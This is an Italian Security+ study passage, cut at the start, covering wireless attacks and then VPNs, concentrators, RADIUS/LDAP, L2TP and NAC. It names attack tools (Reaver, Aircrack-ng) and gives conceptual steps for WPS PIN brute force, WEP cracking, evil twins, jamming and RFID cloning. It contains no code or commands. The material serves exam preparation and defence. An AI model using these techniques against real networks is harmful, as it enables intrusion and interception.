combinazioni Ma WPS valida il PIN in due metà separate da 4 cifre → solo ~11.000 combinazioni effettive Reaver trova il PIN in ~10 ore (spesso molto meno) Una volta trovato il PIN → ricava la passphrase WPA2 Distinzione importante: WPS serve per collegare device alla rete — non ha niente a che fare con accedere alla pagina di configurazione del router (quella si apre via browser su 192.168.1.1 con username/password admin).\nWPS è safe con WPA3 — il protocollo è stato rafforzato. Con WPA2 va disabilitato immediatamente dopo uso (o del tutto).\nCaso reale: 2011 — Stefan Viehböck (ricercatore austriaco) e Craig Heffner (indipendentemente) pubblicano il WPS PIN vulnerability. US-CERT emette l'advisory TA12-006A. Heffner rilascia Reaver, tool open-source che automatizza il brute force del PIN WPS. Milioni di router domestici in tutto il mondo erano vulnerabili — molti vendor impiegarono anni a patchare, e alcuni router non hanno mai ricevuto un fix (solo la disattivazione manuale del WPS da parte dell'utente risolve il problema). Ancora oggi scannerizzando le reti residenziali si trovano router con WPS attivo.\nRemember This (Gibson) WPS consente di configurare un device wireless inserendo un PIN a 8 cifre e/o premendo dei bottoni. Un WPS attack prova tutti i PIN possibili finché trova quello corretto — tipicamente entro poche ore — e lo usa per ricavare la passphrase.\nRogue Access Point # Definizione: AP installato nella rete aziendale senza autorizzazione, da un dipendente o da un attaccante.\nCome si collega alla rete cablata: L'attaccante trova una presa RJ-45 libera (wall jack) in un corridoio, armadio di rete, sala riunioni, o qualsiasi punto con scarsa sicurezza fisica — e ci collega fisicamente il rogue AP via cavo Ethernet.\n[Rete cablata interna] | [Switch aziendale] | [Wall jack libero] ←── cavo Ethernet ── [Rogue AP] ))) segnale wireless | [Attaccante nel parcheggio] riceve tutto il traffico Due modalità di attacco:\nModalità Come funziona Sniffer passivo Rogue AP cattura il traffico della rete cablata e lo ritrasmette wireless. L'attaccante nel parcheggio cattura i file esfiltrati Accesso alla rete L'attaccante si connette wirelessly al rogue AP e accede così alla rete interna cablata — come se avesse un cavo inserito in ufficio Data exfiltration: Trasferimento non autorizzato di dati dall'organizzazione verso una location controllata dall'attaccante.\nRisposta: Se trovi un AP non autorizzato → disconnetti il cavo Ethernet immediatamente. Isolare prima, investigare dopo.\nCaso reale: 2008 — Hannaford Bros. (catena di supermercati USA). Rogue AP installato fisicamente negli armadi di rete di alcuni punti vendita, collegato ai segmenti dei terminali POS (Point of Sale). Risultato: 4,2 milioni di numeri di carte di credito esfiltrati verso server esterni. L'AP era nascosto dove i tecnici raramente facevano ispezioni fisiche. Primo caso di alto profilo a dimostrare che la sicurezza di rete dipende anche dall'accesso fisico agli spazi.\nRemember This (Gibson) I rogue access point vengono spesso usati per catturare ed esfiltrare dati. Un AP sicuro blocca gli utenti non autorizzati; un rogue AP fornisce accesso agli utenti non autorizzati.\nEvil Twin # Definizione: Rogue AP con lo stesso SSID (o simile) di un AP legittimo, progettato per ingannare i client a connettersi ad esso.\nCome funziona:\nIn un luogo pubblico (caffè, aeroporto, hotel), l'AP legittimo trasmette SSID \u0026quot;CoffeeShop_WiFi\u0026quot; L'attaccante configura il suo AP (anche un laptop con scheda wireless) con lo stesso SSID Client ignari si connettono all'evil twin — spesso perché ha segnale più forte o è il più vicino Tutto il traffico della vittima passa attraverso l'attaccante La vittima naviga normalmente? Sì — l'attaccante ha connessione internet (tethering del proprio telefono, o una seconda NIC verso un AP legittimo). Funge da proxy trasparente: la vittima non nota niente di anomalo, ma tutto il traffico HTTP, le form di login, le email passano in chiaro davanti all'attaccante.\nVettori di attacco:\nCredenziali catturate da form HTTP o pagine login fasulle presentate dall'attaccante Analisi del traffico per estrarre dati sensibili (email, cookie di sessione) SSL stripping per degradare HTTPS a HTTP Setup minimo: Un laptop con scheda wireless in un bar. Visivamente indistinguibile da qualsiasi utente normale.\nRilevamento: Site survey con wireless scanner — il segnale dell'evil twin diventa più forte avvicinandosi a esso (aiuta a localizzarlo fisicamente).\nCaso reale: 2024 — Australia. La AFP (Australian Federal Police) arresta un uomo che durante voli domestici e in aeroporti aveva configurato un evil twin con SSID identico al WiFi di bordo/aeroporto. I passeggeri si connettevano, venivano presentate pagine login fasulle Google/Facebook → credenziali catturate. L'uomo era seduto in cabina con un laptop e un AP portatile — visivamente indistinguibile da un normale passeggero che lavora. Condannato per frode informatica. Primo caso documentato di evil twin attack su voli commerciali.\nRemember This (Gibson) Un evil twin è un rogue access point che usa lo stesso SSID (o simile) di un AP legittimo. Una volta connessa, la vittima naviga normalmente ma tutto il traffico passa attraverso l'attaccante.\nJamming Attack # Cos'è: Trasmissione di rumore radio o segnale sulla stessa frequenza usata dalla rete wireless. Il segnale è così forte da rendere illeggibili i pacchetti WiFi — DoS puro a livello fisico (Layer 1).\nIn italiano, in ambito tecnico, ”jamming” significa “interferenza” o “disturbo intenzionale del segnale radio”.\nL'obiettivo dell'attaccante è abbassare il signal-to-noise ratio (SNR): il client sente più rumore che segnale reale dall'AP. Se non riesce a decodificare il segnale legittimo → non può né ricevere né trasmettere.\n[AP] ))) 2.4 GHz ((( [Client] ↑ [Jammer emette rumore RF su 2.4 GHz] ↓ SNR troppo basso — pacchetti illeggibili tutti i client perdono la connessione Analogia: Urlare in una stanza dove altri stanno cercando di parlare — il segnale legittimo viene sopraffatto dal rumore.\nTipi di jamming:\nTipo Come funziona Effetto Costante Trasmette rumore RF continuo sulla frequenza Rete completamente inaccessibile finché il jammer è attivo Random data Invia dati casuali in modo continuo Simile al costante — ocupa il canale con traffico spazzatura Frame flood Invia un volume enorme di frame 802.11 legittimi Il canale è occupato da traffico reale ma inutile — gli altri device non riescono a trasmettere Reactive Jamming solo quando qualcuno tenta di comunicare (silenzioso a riposo) Più difficile da rilevare passivamente — il canale sembra libero, ma appena un client trasmette il jammer entra e blocca la risposta Jamming accidentale — è comune: Forno a microonde (2.4 GHz), luci fluorescenti, baby monitor, telefoni cordless. La differenza con un attacco intenzionale è solo l'intenzionalità — l'effetto tecnico è identico.\nCome si localizza un jammer — il Fox Hunt:\nL'attaccante deve essere fisicamente vicino all'AP (il segnale RF si attenua con la distanza). Una volta confermato che il jamming è intenzionale, la procedura è:\nAntenna direzionale — a differenza di un'antenna omnidirezionale (che riceve da tutte le direzioni), un'antenna direzionale concentra la ricezione in un settore. Il tecnico gira fisicamente con l'antenna cercando la direzione da cui il segnale è più forte.\nIl paradosso della vicinanza: Quando sei molto vicino alla fonte, il segnale diventa così forte in tutte le direzioni che è difficile capire esattamente dove si trova.\nAttenuatore — dispositivo che riduce la potenza del segnale ricevuto. Usato vicino alla fonte: con il segnale abbassato artificialmente, l'antenna direzionale torna a distinguere la direzione. Si triangola avanzando da più punti.\nFox Hunter con antenna direzionale: Punto A ← segnale forte da Est Punto B ← segnale forte da Nord-Est Punto C ← segnale forte da Nord ↓ Intersezione delle tre direzioni = posizione del jammer Questo processo si chiama fox hunt — termine preso dagli operatori radio amatoriali che lo usano come gioco per trovare trasmettitori nascosti. In security: stesso metodo, scopo operativo.\nMitigazioni (parziali):\nCambiare canale — ma se l'attaccante monitora, cambia canale anche lui Passare a 5 GHz se il jammer è su 2.4 GHz (o viceversa) Soluzione definitiva: trovare e rimuovere fisicamente il jammer Caso reale: 2015 — Marriott International multata dalla FCC (Federal Communications Commission USA) per 600.000 dollari. Il Marriott Gaylord Opryland Hotel di Nashville aveva deliberatamente jammato i personal hotspot degli ospiti durante le conferenze, usando un sistema Wi-Fi enterprise configurato per inviare frame di deautenticazione (tecnicamente un disassociation attack, ma con lo stesso effetto del jamming sul servizio). Scopo: forzare i partecipanti alle conferenze a pagare il WiFi Marriott ($250–$1.000 al giorno). La FCC definì la pratica illegale sotto il Communications Act. Marriott cercò di fare lobby per rendere la pratica legale — il tentativo fu respinto con ulteriori polemiche.\nRemember This (Gibson) Jamming è un DoS wireless a Layer 1: l'attaccante trasmette rumore RF sulla stessa frequenza abbassando il SNR finché i client non riescono più a comunicare. Non colpisce un singolo device — colpisce tutti. Localizzare il jammer richiede antenna direzionale + attenuatore (fox hunt). L'attaccante deve essere fisicamente vicino alla rete.\nIV Attack (WEP) # Cos'è un IV: Initialization Vector — numero casuale usato dai sistemi di cifratura per garantire che lo stesso plaintext cifrato con la stessa chiave produca output diverso ogni volta. Senza IV: stesso plaintext → stesso ciphertext → pattern riconoscibili.\nIl problema di WEP: WEP usava un IV da soli 24 bit = ~16 milioni di valori possibili. Su una rete trafficata, tutti i valori si esaurivano e lo stesso IV veniva riusato con la stessa chiave → stessa keystream.\nL'attacco:\nStesso IV + stessa chiave = stesso keystream Attaccante raccoglie due pacchetti cifrati con lo stesso IV XOR dei due ciphertext → XOR dei due plaintext (il keystream si cancella) Se uno dei due plaintext è noto (protocolli hanno strutture prevedibili) → si ricava l'altro plaintext e infine la chiave Packet injection per accelerare:\nL'attaccante inietta pacchetti noti nella rete → l'AP risponde generando più ciphertext Più pacchetti = più probabilità di riusare un IV → collisione forzata più in fretta Aircrack-ng può craccare WEP in pochi minuti con questa tecnica Pre-shared key: Sì, è esattamente la classica password WiFi di casa. PSK = la passphrase che tutti conoscono e usano per connettersi alla rete. Nessuna autenticazione individuale — chiunque abbia la password ha accesso alla rete.\nWEP è deprecato — WPA2 e WPA3 usano IV molto più lunghi e meccanismi che prevengono il riuso.\nCaso reale: 2007 — TJX Companies (proprietaria di Marshalls, TK Maxx, HomeGoods). Breach da 45,6 milioni di carte di credito — il più grande della storia fino ad allora. Gli attaccanti erano parcheggiati nel parcheggio di un negozio Marshalls in Florida con un'antenna direzionale. La rete WiFi dei punti vendita usava WEP → craccato in pochi minuti. Da lì si sono mossi lateralmente fino ai server centrali di TJX dove risiedevano i dati delle carte. Il costo totale stimato per TJX: oltre 250 milioni di dollari. Questo caso accelerò il passaggio obbligatorio a WPA2 nello standard PCI-DSS per tutte le reti che gestiscono dati di pagamento.\nImportant Exam trap: IV attack è specifico di WEP — non affligge WPA2 o WPA3. Se l'esame descrive una rete vulnerabile a IV attack → stai parlando di WEP (da disabilitare immediatamente).\nRemember This (Gibson) Un IV (initialization vector) è un numero usato dai sistemi di cifratura. Un wireless IV attack cerca di scoprire la pre-shared key dopo aver trovato l'IV. WEP usava un IV da 24 bit troppo piccolo, causando riuso delle chiavi. L'attacco usa packet injection per accelerare il riuso. WEP è deprecato — non usarlo.\nCronologia Grafica # NFC Attack — Near Field Communication # NFC (Near Field Communication) è uno standard wireless a cortissimo raggio (~4 cm) usato nei pagamenti contactless (carte di credito, smartphone) e nella condivisione dati tra device.\nCome funziona il pagamento contactless: Il reader NFC emette un campo elettromagnetico → la carta/telefono si alimenta da quel campo (tag passivo) → trasmette i dati della transazione → pagamento completato senza inserire la carta.\nCosa viene trasmesso (e il rischio):\nDato Trasmesso via NFC? Rischio Numero carta (PAN) Sì (carte vecchie) / Token (carte nuove) Carte vecchie: numero leggibile Data scadenza Sì (alcune carte) Combinata col PAN → card-not-present fraud Nome titolare Alcune carte sì Dati per social engineering CVV/CVC No — mai trasmesso via NFC Nessuno Token one-time Sì (carte moderne, Apple Pay) Inutile senza il sistema di decodifica del processore NFC Eavesdropping attack: L'attaccante usa un'antenna potenziata per estendere il range dell'NFC reader oltre i 4 cm previsti. In spazi affollati (metropolitana, cassa supermercato) può catturare la trasmissione tra carta e reader senza che la vittima se ne accorga.\nIndicatore principale: Addebiti non autorizzati sull'estratto conto della carta.\nProtezione: Portafogli RFID/NFC blocking (Faraday sleeve) o carte con token dinamici (Apple Pay, Google Pay generano un token diverso per ogni transazione, inutilizzabile se catturato).\nCaso reale: 2012 — ricercatori di sicurezza dimostrano a Black Hat che leggere i dati di carte Visa payWave e Mastercard PayPass in chiaro (numero + scadenza) era possibile con un'app Android modificata a \u0026lt;10 cm di distanza. Milioni di carte europee erano vulnerabili. Visa e Mastercard accelerarono la migrazione ai token dinamici, ma il processo richiese anni.\nRemember This (Gibson) In un NFC attack, l'attaccante usa un reader NFC con antenna potenziata per catturare i dati trasmessi durante una transazione. L'indicatore principale è la presenza di addebiti non autorizzati sulla carta.\nRFID Attack — Radio-Frequency Identification # RFID è la tecnologia che usa onde radio per identificare e tracciare oggetti tramite tag. NFC è un sottoinsieme di RFID (solo 13.56 MHz, ~4 cm). RFID copre distanze e frequenze molto più ampie.\nRFID vs NFC:\nRFID NFC Frequenze 125 kHz, 13.56 MHz, 900 MHz+ Solo 13.56 MHz Range Da cm a decine di metri ~4 cm Comunicazione Tipicamente one-way (reader → tag) Bidirezionale Casi d'uso Inventario, animali, badge accesso, container Pagamenti, pairing, condivisione dati Nelle carte di credito? No (quelle sono NFC) Sì Nei microchip animali? Sì (125 kHz passivo) No Tag attivi vs passivi:\nPassivo: nessuna batteria — si alimenta dal campo RF del reader. Range: cm-pochi metri. Costa pochi centesimi. Dura decenni. Usato in: badge accesso, carte contactless, tag inventario, microchip animali. Attivo: ha batteria propria → può trasmettere a decine/centinaia di metri, può iniziare la comunicazione. Usato in: container shipping, sistemi di tracking flotte, pedaggi autostradali (telepass è RFID attivo). Attacchi RFID:\nAttacco Come funziona Sniffing/Eavesdropping Ascolta le trasmissioni RF tra reader e tag. Richiede conoscere la frequenza e il protocollo del sistema target Cloning Dopo sniffing, configura un tag fake con gli stessi dati del tag originale. Permette di bypassare controlli accesso o falsificare inventario DoS/Jamming Inonda la frequenza RFID con rumore RF → reader non riesce a leggere i tag → sistema di tracking bloccato. Es: magazzino con inventario RFID non funzionante Caso reale: 2006 — Chris Paget (ricercatore USA) clona badge di accesso HID (standard aziendale usato in milioni di edifici) a distanza di oltre 1 metro usando hardware da meno di $50. Il badge HID trasmetteva l'ID in chiaro senza autenticazione. Dimostrazione a DEF CON: clona il badge di un partecipante mentre gli stringe la mano. HID ha introdotto crittografia solo nelle versioni successive (HID iClass). Ancora oggi molti edifici usano badge HID senza crittografia.\nRemember This (Gibson) RFID usa RF per tracciare oggetti con tag attivi (batteria propria) o passivi (si alimentano dal reader). Gli attacchi includono sniffing, cloning e DoS tramite jamming della frequenza.\nBluetooth Attacks # Bluetooth è uno standard wireless a corto raggio (~10 m) usato nelle PAN (Personal Area Network) — la rete di device attorno a una persona: smartphone, cuffie, mouse, tastiera, smartwatch.\nDiscovery mode: Quando un device Bluetooth è in \u0026quot;Discovery mode\u0026quot;, trasmette il proprio MAC address e accetta richieste di pairing. Necessario per configurare nuovi device. Problema: nelle versioni precedenti di Bluetooth, il pairing poteva avvenire senza conferma esplicita dell'utente.\nTre attacchi principali:\nAttacco Espansione Cosa fa Bluejacking — Invia messaggi non richiesti (testo, immagini, suoni) a device Bluetooth vicini. Relativamente innocuo — fastidioso ma non ruba dati Bluesnarfing — Accesso non autorizzato ai dati del device: email, rubrica, calendario, SMS. Sfrutta vulnerabilità nel protocollo di pairing per accedere senza conferma utente Bluebugging — Va oltre bluesnarfing: accede al device + installa un backdoor. L'attaccante può far chiamare il telefono in qualsiasi momento per ascoltare conversazioni nella stanza, abilitare call forwarding, inviare SMS, intercettare chiamate Discovery mode nelle versioni precedenti: Sì — nelle prime implementazioni Bluetooth, un device in Discovery mode accettava richieste di pairing automaticamente, o con un PIN che era quasi sempre \u0026quot;0000\u0026quot; o \u0026quot;1234\u0026quot;. Bluesnarfing sfruttava esattamente questo. Oggi il pairing richiede conferma esplicita su entrambi i device — per questo gli attacchi Bluetooth sono rari nel 2026.\nFaraday cage: Mettere il device in una scatola metallica conduttiva (Faraday cage) blocca tutti i segnali wireless incluso Bluetooth — protezione fisica assoluta, ma ovviamente il device non è più utilizzabile.\nCaso reale: 2017 — BlueBorne (Armis Security). Vulnerabilità critica in Bluetooth che colpiva 5,3 miliardi di device (Android, iOS, Windows, Linux). Non richiedeva pairing — un attaccante a portata Bluetooth poteva eseguire codice arbitrario sul device senza nessuna interazione dell'utente e senza che il device fosse in Discovery mode. Patch rilasciata rapidamente, ma milioni di device non ricevettero mai l'aggiornamento. BlueBorne dimostrò che anche Bluetooth \u0026quot;moderno\u0026quot; non è immune da vulnerabilità gravi.\nRemember This (Gibson) Bluejacking = invio non autorizzato di messaggi a device Bluetooth vicini. Bluesnarfing = accesso non autorizzato ai dati di un device Bluetooth. Impedire il pairing senza intervento manuale dell'utente e usare Faraday cage previene questi attacchi.\nWireless Replay Attack # Replay attack: L'attaccante cattura dati legittimi scambiati tra due parti (es. frame di autenticazione), li conserva, e li ritrasmette successivamente per impersonare una delle parti.\nIl core è sempre impersonation: l'attaccante non rompe la crittografia, non scopre la password — si limita a \u0026quot;riprodurre\u0026quot; credenziali già validate per bypassare l'autenticazione.\nFlusso normale: Client ──── auth frame cifrato ────► Server ──► accesso OK Replay attack: Attaccante cattura auth frame ↓ Attaccante ritrasmette lo stesso frame ore/giorni dopo ↓ Server: \u0026#34;frame valido\u0026#34; → accesso OK (senza conoscere la password) WPA2 e WPA3 sono resistenti ai replay attack tramite:\nSequence numbers nei frame: ogni frame ha un numero progressivo. Frame con numero già visto → scartato Timestamp + nonce: i token di autenticazione hanno scadenza breve e includono valori casuali usa-e-getta Protezione principale: Non usare protocolli wireless deprecati (WEP non ha protezione replay efficace).\nCaso reale: 2017 — KRACK (Key Reinstallation Attack, Mathy Vanhoef). Vulnerabilità nel 4-way handshake di WPA2: l'attaccante forzava la reinstallazione della PTK ritrasmettendo il messaggio 3 del handshake (un replay) → il nonce veniva azzerato → keystream riusato → traffico decifrabile. Colpiva quasi tutti i device WPA2 esistenti. Patch rilasciata, ma dimostrò che anche WPA2 era vulnerabile a replay in condizioni specifiche. WPA3 risolve strutturalmente con SAE.\nRemember This (Gibson) In un wireless replay attack, l'attaccante cattura frame di autenticazione e li ritrasmette per impersonare un client legittimo. WPA2 e WPA3 resistono ai replay attack. La protezione migliore è eliminare protocolli wireless deprecati.\nWar Driving e War Flying # War driving = guidare (o camminare) con laptop e antenna WiFi, mappando tutte le reti wireless trovate: SSID, MAC dell'AP, potenza del segnale, tipo di cifratura, coordinate GPS.\nNon è un attacco in sé — è ricognizione. Il nome viene da \u0026quot;war dialing\u0026quot; (anni '80: comporre migliaia di numeri di telefono automaticamente, cercando modem).\nCosa trova un attacker con war driving:\nReti non cifrate o con WEP/WPA1 (deprecati → vulnerabili) AP con SSID predefinito del vendor (spesso = router mai configurato = default password) Rogue AP e evil twin (segnale incoerente con la topologia dell'edificio) AP con segnale che fuoriesce eccessivamente dall'edificio (esfiltrazione radio) War driving come audit legittimo: Gli amministratori usano le stesse tecniche per:\nVerificare il footprint del segnale (fino a dove arriva la rete wireless dell'azienda) Rilevare AP non autorizzati (rogue AP, evil twin) Controllare la cifratura di tutti gli AP visibili Verificare la potenza delle antenne (troppo alta = segnale in strada) War flying: Stessa cosa ma da aereo o drone. Un drone con hardware WiFi può coprire interi campus aziendali in pochi minuti. Segnali 2.4 GHz sono intercettabili anche da 2.500 piedi di quota. Usato anche in pentesting per reconnaissance aerea (foto del sito + scan wireless).\nCaso reale: 2010 — Google Street View. Le auto di Google, mentre fotografavano le strade per Street View, raccoglievano automaticamente: SSID di tutte le reti WiFi, MAC address degli AP, e in alcuni casi payload del traffico non cifrato di reti aperte. Google raccolse dati da 30+ paesi per anni. Multata in Germania, Francia, Australia, Canada. Google definì l'acquisizione dei payload un \u0026quot;errore\u0026quot; nel codice. Il caso definì il confine legale tra war driving passivo (SSID/MAC = ok in molti paesi) e cattura del traffico (illegale ovunque).\nRemember This (Gibson) Gli amministratori usano war driving come parte di un wireless audit. Un wireless audit verifica il footprint del segnale, i livelli di potenza, il posizionamento delle antenne e la cifratura del traffico. War flying è simile ma usa aerei o droni.\nCronologia Grafica # VPN e VPN Concentrator # mindmap root((VPN e Concentrator)) VPN concetto Tunnel cifrato rete pubblica Non e un protocollo IPsec TLS WireGuard L2TP Concentrator Hardware Cisco ASA NGFW integrato Software OpenVPN Cloud AWS Azure Tipologie Remote Access Host to gateway Utente avvia connessione RADIUS LDAP autenticazione Site-to-Site Gateway to gateway Trasparente agli utenti Always-on o on-demand Tunnel Split Tunnel Solo IP privati nel tunnel Internet via ISP diretto Full Tunnel Tutto il traffico cifrato UTM aziendale controlla tutto Altri protocolli L2TP no cifratura propria SSTP TLS porta 443 HTML5 VPN Portal browser WireGuard moderno leggero VPN (Virtual Private Network) # tunnel cifrato attraverso una rete pubblica (Internet) che permette l'accesso a una rete privata come se si fosse fisicamente connessi ad essa. Diventata infrastruttura standard da quando il lavoro da remoto è diffuso.\nVPN non è un protocollo — è una tecnologia (o servizio di rete) che crea un canale cifrato e privato sopra una rete pubblica. È il concetto, non l'implementazione.\nI protocolli che la realizzano sono quelli sottostanti:\nIPsec (con AH e ESP) SSL/TLS (OpenVPN, SSL VPN) WireGuard L2TP (spesso abbinato a IPsec) Analogia da dev: è come \u0026quot;REST\u0026quot; — non è un protocollo, è un concetto architetturale. HTTP è il protocollo che lo implementa. La VPN è il concetto, IPsec o TLS sono i protocolli che la implementano.\nPer Security+: quando una domanda chiede \u0026quot;quale protocollo usa la VPN site-to-site?\u0026quot; la risposta è IPsec. Quando chiede \u0026quot;quale VPN funziona meglio con NAT?\u0026quot; la risposta è SSL/TLS. La VPN in sé non è mai la risposta corretta a \u0026quot;quale protocollo\u0026quot;.\nSoluzione Quando usarla VPN su server generico Pochi client, budget limitato. Es: Windows Server con ruolo Direct Access VPN + console Routing and Remote Access. Il server può avere 1 o 2 NIC (una su Internet, una sulla rete privata) VPN Concentrator Organizzazioni grandi, molti client. Dispositivo dedicato con tutto il necessario: cifratura forte, autenticazione, supporto molti client simultanei VPN Concentrator # il dispositivo (o software) che fa da endpoint del tunnel VPN: riceve le connessioni cifrate, le autentica, le decifra e instrada il traffico nella rete interna. Senza un concentrator (o qualcosa che ne svolga il ruolo) la VPN non funziona — è lui che tiene in memoria la chiave di sessione IKE e fa il lavoro di decifrazione.\nIl concentrator è un ruolo, non per forza un dispositivo fisico separato. Le implementazioni possibili:\nForma Esempi Quando si usa Hardware dedicato Cisco ASA, Juniper SRX Grandi organizzazioni, migliaia di sessioni simultanee NGFW con VPN integrata Palo Alto, Fortinet, pfSense La scelta più comune oggi — il firewall fa anche da concentrator Software su server OpenVPN server, WireGuard, Microsoft NPS Piccole organizzazioni, budget limitato Cloud gateway AWS VPN Gateway, Azure VPN Gateway Connessioni site-to-site verso infrastruttura cloud Client integrato nel OS Windows built-in VPN, macOS VPN Client-side — si connette al concentrator remoto Il client VPN installato sul laptop dell'utente è la controparte del concentrator: cifra il traffico in uscita e decifra quello in arrivo. La chiave di sessione è negoziata via IKE tra i due.\nRemote Access VPN — flusso completo # Remote access VPN e Direct Access VPN sono termini usati in modo intercambiabile da Gibson. \u0026quot;Direct Access\u0026quot; in senso stretto è la feature Microsoft (Windows Server) che crea una VPN always-on automatica senza intervento dell'utente. Per l'esame Security+ sono sinonimi.\nFlusso di connessione:\nsequenceDiagram participant U as Utente remoto participant I as Internet (ISP) participant V as VPN Server (screened subnet) participant R as RADIUS server participant L as LDAP / Domain Controller participant INT as Rete interna U-\u003e\u003eI: 1. Connessione broadband a internet U-\u003e\u003eV: 2. Inizia connessione VPN (IP pubblico del VPN server) V-\u003e\u003eR: 3. Invia credenziali utente a RADIUS R-\u003e\u003eL: 4. RADIUS passa credenziali a LDAP per verifica L-\u003e\u003eR: 5. LDAP conferma: credenziali valide R-\u003e\u003eV: 6. RADIUS autorizza: accesso OK + policy V-\u003e\u003eU: 7. Tunnel cifrato stabilito U-\u003e\u003eINT: 8. Traffico privato dentro il tunnel Posizionamento nella rete:\nIl VPN server è nella screened subnet (DMZ), raggiungibile dall'Internet con IP pubblico Il firewall esterno apre solo le porte VPN verso il VPN server (es. UDP 1194 per OpenVPN, UDP 51820 per WireGuard, TCP/UDP 443 per SSL VPN) Il VPN concentrator poi instrada il traffico privato attraverso il firewall interno verso la rete interna RADIUS + LDAP — catena di autenticazione # RADIUS (Remote Authentication Dial-In User Service) è il protocollo AAA (Authentication, Authorization, Accounting) che gestisce l'autenticazione VPN. Il nome \u0026quot;Dial-In\u0026quot; è storico — negli anni '90 l'accesso remoto avveniva via modem (dial-up). Oggi: qualsiasi accesso remoto.\nLDAP (Lightweight Directory Access Protocol) è il protocollo per accedere alle directory di utenti (Active Directory in ambienti Microsoft). È il backend dove vivono gli account utente e le password.\nCome si dividono i ruoli:\nRADIUS LDAP Ruolo Intermediario AAA: riceve la richiesta VPN, gestisce il protocollo di auth, assegna policy Directory service: verifica le credenziali, fornisce attributi utente Chi gli parla Il VPN server manda le credenziali a RADIUS RADIUS passa le credenziali a LDAP Cosa produce Accesso sì/no + policy (VLAN, timeout, permessi) Conferma identità: \u0026quot;questa password è giusta\u0026quot; In Microsoft FreeRADIUS o NPS (Network Policy Server) Domain Controller (AD DS) Chiarimento importante: RADIUS fa sia autenticazione che autorizzazione — non solo una delle due. La distinzione è che RADIUS è il protocollo di accesso alla rete, mentre LDAP è il database degli utenti. RADIUS delega la verifica delle credenziali a LDAP, ma poi prende lui la decisione di accesso.\nRemember This (Gibson) Una VPN fornisce accesso remoto a una rete privata tramite una rete pubblica. I VPN concentrator sono dispositivi dedicati per VPN con cifratura forte e supporto di molti client. Il VPN server è nella screened subnet. L'autenticazione avviene tipicamente via RADIUS, che può passare le credenziali a un server LDAP (es. Active Directory) per la verifica.\nSite-to-Site VPN # HQ e Remote Office si parlano perché i loro gateway hanno ciascuno un VPN server che mantiene il tunnel tra le due reti. Gli utenti del remote office accedono ai server dell'HQ come se fossero in ufficio — la VPN è trasparente per loro, non devono fare nulla.\nGibson distingue due modelli:\nModello Chi gestisce la connessione L'utente lo vede? Site-to-site (gateway-to-gateway) I due VPN server/gateway No — trasparente Remote access (host-to-gateway) L'utente finale si connette direttamente al VPN server Sì — l'utente avvia la connessione Il vantaggio del site-to-site: nessun client VPN da installare, nessuna azione richiesta all'utente. Il tunnel esiste sempre (o si attiva on-demand) tra i due gateway, e tutti i client dietro di loro ne beneficiano automaticamente.\nAlways-On VPN # Alcune VPN sono always-on — il tunnel è mantenuto continuamente invece di essere stabilito solo quando serve.\nIn un contesto site-to-site: i due gateway mantengono il tunnel attivo 24/7. L'alternativa è la connessione on-demand: il tunnel si apre solo quando un utente prova a raggiungere una risorsa remota, e si chiude dopo un periodo di inattività.\nIn un contesto direct access (utente remoto):\nIl dispositivo tenta di connettersi al VPN aziendale non appena ha una connessione Internet PC di casa: VPN attiva subito all'avvio Smartphone: se l'utente entra in un coffee shop e si connette al Wi-Fi pubblico → il telefono si connette automaticamente alla VPN aziendale prima ancora che l'utente apra un'app Questo garantisce che tutto il traffico del dispositivo passi sempre sotto il controllo dell'azienda (UTM, URL filter, malware scan) — indipendentemente dalla rete su cui si trova l'utente.\nImportant Esame trap: Always-on VPN e on-demand VPN possono essere usati sia con site-to-site che con remote access. Non sono modelli esclusivi.\nL2TP — Layer 2 Tunneling Protocol # L2TP (Layer 2 Tunneling Protocol) è un protocollo di tunneling che opera a Layer 2 (data link) invece che a Layer 3 come IPsec. La versione corrente è L2TPv3.\nIl punto critico: L2TP non cifra nulla.\nL2TP crea il tunnel (il \u0026quot;tubo\u0026quot;) ma non mette nessun lucchetto. Da solo è inutilizzabile per una VPN sicura. Per questo viene sempre abbinato a IPsec:\nL2TP/IPsec: ┌─────────────────────────────────────┐ │ IPsec (ESP) ← cifratura/integrità │ │ ┌──────────────────────────┐ │ │ │ L2TP ← transport/tunnel│ │ │ │ ┌───────────┐ │ │ │ │ │ Payload │ │ │ │ │ └───────────┘ │ │ │ └──────────────────────────┘ │ └─────────────────────────────────────┘ Analogia dev: L2TP è come TCP (trasporta i dati), IPsec è come TLS (li cifra). L2TP/IPsec = TCP + TLS, dove i due livelli fanno cose diverse ma complementari.\nPerché esiste L2TP se non cifra? Perché il tunneling e la cifratura sono preoccupazioni separate. L2TP permette di trasportare frame Layer 2 (Ethernet) su reti IP — utile per connettere due LAN a Layer 2 come se fossero sulla stessa rete fisica. IPsec poi si occupa della sicurezza.\nWarning Esame trap: L2TP da solo NON è sicuro. L2TP deve essere usato con IPsec per le VPN. Se una domanda chiede \u0026quot;quale protocollo usato per VPN non fornisce encryption?\u0026quot; → L2TP.\nHTML5 VPN Portal # Alcuni dispositivi di rete supportano un HTML5 VPN portal: accesso VPN direttamente via browser, senza installare alcun client.\nCome funziona: l'organizzazione espone una pagina web aziendale (es. vpn.company.com), il dipendente/consulente si autentica con le credenziali AD, e il browser diventa un client per raggiungere risorse interne (server interni, PBX VoIP, applicazioni gestionali). Non per navigare su internet — per entrare nella rete privata aziendale.\nLimitazione principale: è resource-intensive sul server. Il server deve gestire la sessione TLS per ogni utente, fare il proxying del traffico, e tutto il lavoro che normalmente il client VPN distribuisce lato utente. Per questo non si usa per tutta l'organizzazione.\nCaso d'uso tipico: accesso occasionale per utenti limitati.\nGibson fa l'esempio di un consulente esterno che gestisce il centralino VoIP (PBX) aziendale: l'organizzazione gli dà accesso via HTML5 VPN portal solo a quella risorsa. I dipendenti normali usano la VPN tradizionale.\nCome dev: è come un reverse proxy web applicativo che espone risorse interne via HTTPS — invece di un tunnel di rete vero e proprio, il browser proxia le richieste attraverso il server.\nVPN tradizionale (client) HTML5 VPN Portal Client richiesto Sì — software VPN installato No — solo browser Cifratura IPsec / TLS / WireGuard TLS (HTTPS) Carico server Distribuito (il client fa il lavoro) Concentrato sul server Uso tipico Tutti i dipendenti, accesso completo Consulenti, accesso limitato a risorse specifiche Scalabilità Alta Bassa — resource-intensive Warning Esame trap: HTML5 VPN usa TLS ma è pensato per accesso limitato/occasionale, non come soluzione enterprise scalabile.\nNAC — Network Access Control # mindmap root((NAC Network Access Control)) Scopo Ispeziona salute client Antivirus aggiornato Patch OS correnti Firewall abilitato Flusso Client tenta connessione NAC Health Server verifica Salute OK accesso rete Salute KO quarantena Remediation e riprova Agent Permanent agent sempre Dissolvable agent elimina Agentless scansione remota Uso VPN remote access Client interni rete Visitatori wall jack BYOD WiFi aziendale 